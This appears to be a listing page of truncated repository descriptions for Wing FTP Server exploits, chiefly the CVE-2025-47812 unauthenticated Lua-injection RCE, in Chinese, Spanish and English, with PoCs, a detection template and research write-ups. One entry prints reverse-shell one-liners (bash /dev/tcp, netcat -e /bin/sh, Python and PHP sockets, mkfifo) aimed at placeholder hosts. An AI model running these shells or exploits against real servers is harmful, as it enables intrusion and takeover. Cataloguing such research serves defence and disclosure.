Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server 中的严重 RCE 漏洞 🛡️ 🔎 概述： CVE-2025-47812 是一个影响 7.4.4 版本之前 Wing FTP Server 的严重远程代码执行 RCE 漏洞。该漏洞由一名安全研究人员发现，并已被确认在野外被积极利用 。 🧱 根本原因： 该漏洞存在于 Wing FTP Server 的身份验证逻辑 中，具体在于其处理 username 参数中的空字节 \0 的方式。 攻击者可以通过用户名字段注入任意 Lua 代码 ，服务器会将其写入会话文件。当后续处理该会话文件时，注入的 Lua 代码会被执行...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - Ejecución remota de código autenticado CVE-2025-5196 Wing FTP Server proporciona una consola administrativa de scripting Lua accesible a través de su interfaz web. Los administradores autenticados pueden ejecutar código Lua arbitrario con un sandboxing insuficiente. Versió...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE mediante Inyección de Lua Autor: 0xgh057r3c0n 🧠 Descripción Este exploit aprovecha una vulnerabilidad de inyección de Lua en el manejador de inicio de sesión loginok.html de Wing FTP Server para ejecutar comandos arbitrarios del sistema operativo u obtener una...

CVE-2025-47812

CVE-2025-47812 Una validación de entrada incorrecta llevó a ejecución remota de código comprometiendo completamente el sistema 📘 Introducción: Julien Ahrens de RCE Security descubrió una vulnerabilidad de seguridad crítica que afecta a WingFTP. Rastreada como CVE-2025-47812, la vulnerabilidad tie...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Exploit RCE para Wing FTP Server Este repositorio proporciona un exploit de prueba de concepto para CVE-2025-47812 , una vulnerabilidad de ejecución remota de comandos RCE en Wing FTP Server. Un atacante puede inyectar y ejecutar comandos arbitrarios del sistema basados en Lua...

CVE-2025-47812

CVE-2025-47812 ¿Cómo funciona este método de detección? Esta plantilla de Nuclei detecta instancias de Wing FTP Server vulnerables a CVE-2025-47812 mediante la identificación de versiones anteriores a la 7.4.4 expuestas en la respuesta HTML del cliente web. ¿Cómo ejecuto este script? 1. Descargue...

CVE-2020-8635

这是什么 Wing FTP Server 6.2.3 - 权限提升 利用 简介 Wing FTP Server v6.2.3 在 Linux、macOS 和 Solaris 平台上对安装目录和配置文件设置了不安全的权限。这允许本地用户随意创建具有完全权限的 FTP 用户，并通过修改系统文件来提升操作系统内的权限。 测试环境 Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 x86 利用 python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...

CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC

CVE-2025-47812 — Wing FTP Server Vulnerabilidad de ejecución remota de código no autenticada en Wing FTP Server = 7.4.3. Un byte NULL inyectado en el parámetro username durante el inicio de sesión provoca que se escriba código Lua en el archivo de sesión. Cuando se accede a /dir.html con la cooki...

Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie

Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability CVE-2025-47813. The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an overlong UID value causes the server to respo...

Wing FTP Server <= 7.4.3 - Remote Code Execution

Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution RCE flaw CVE-2025-47812. The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection into session files. These injected sessio...

CVE-2025-471812-POC

/ | / | / / | / / / |/ // / / / / / / &password= 2. El servidor autentica "anonymous" truncado en el byte nulo...

CVE-2025-47812-PoC

CVE-2025-47812 — Ejecución Remota de Código RCE en Wing FTP Server Resumen Campo| Valor ---|--- CVE| CVE-2025-47812 Afectado| Wing FTP Server 7.4.4 Tipo| Ejecución Remota de Código sin Autenticación Puntuación CVSS| 10.0 Crítico Corregido en| Wing FTP Server 7.4.4 Cómo funciona La vulnerabilidad...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server 未授权 RCE（重写） 用于 Wing FTP Server ≤ 7.4.3 中未认证 Lua 注入 RCE 的 Python 漏洞利用工具。专为 Shell 投递设计——从 check 到正常工作的 netcat 回调只需一条命令。 前段时间为 HTB 上的 wingData 实验室编写，现已开源。仅用于你拥有或已获书面授权测试的系统。 致谢 漏洞研究： Julien @MrTuxracer — What the NULL?! Wing FTP Server RCE CVE-2025-47812 原始 PoC：...

CVE-2025-47812-poC

CVE-2025-47812-poC 针对 Wing FTP Server RCE（CVE-2025-47812）的简易漏洞利用工具，用于执行命令和获取反向 Shell。仅限教育用途。 漏洞详情 该安全漏洞由 RCESecurity（https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/）公开披露并详细介绍。 该漏洞利用脚本由本人出于教育和测试目的编写。本人并非该漏洞的原始发现者。 Wing FTP Server RCE（CVE-2025-47812） 该漏洞源于 Wing...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server 远程代码执行（RCE）漏洞利用工具 CVE-2025-47812 📌 致谢 ：漏洞由 Julien @MrTuxracer 发现。 本 PoC 实现基于其原始研究成果。 本仓库包含针对 Wing FTP Server 远程代码执行漏洞（CVE-2025-47812） 的 Python 漏洞利用代码。该严重缺陷允许攻击者在受影响的 Wing FTP Server 实例上以 root/SYSTEM 身份实现远程代码执行，即使仅启用了匿名访问。 🚀 概述 该漏洞源于 Wing FTP Server 在认证过程中对用户名参数中的 NU...

CVE-2025-47812

CVE-2025-47812 Este es un PoC Proof of Concept del Exploit para Wing FTP Server CVE-2025-47812 Descripción Las versiones de Wing FTP Server anteriores a la 7.4.4 sufrieron una vulnerabilidad de Ejecución Remota de Código RCE como resultado del tratamiento inseguro del parámetro username. Cuando s...

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

Wing FTP Server v8.1.2 contiene una vulnerabilidad de Ejecución Remota de Código RCE en el mecanismo de serialización de sesiones. Un administrador autenticado puede inyectar código Lua arbitrario a través del campo mydirectory basefolder del administrador de dominio, que se ejecuta del lado del...

CVE-2025-47812-Research

CVE-2025-47812 — Investigación de RCE en Wing FTP Server Contexto Práctica de observación en ciberseguridad realizada en el club Akasec 1337 Khouribga — julio/agosto 2025. Vulnerabilidad estudiada CVE : CVE-2025-47812 Puntuación CVSS : 10.0 Crítica Software afectado : Wing FTP Server 7.4.4 Tipo :...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server RCE sin autenticación ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║ ╚████║╚██████╔╝ █...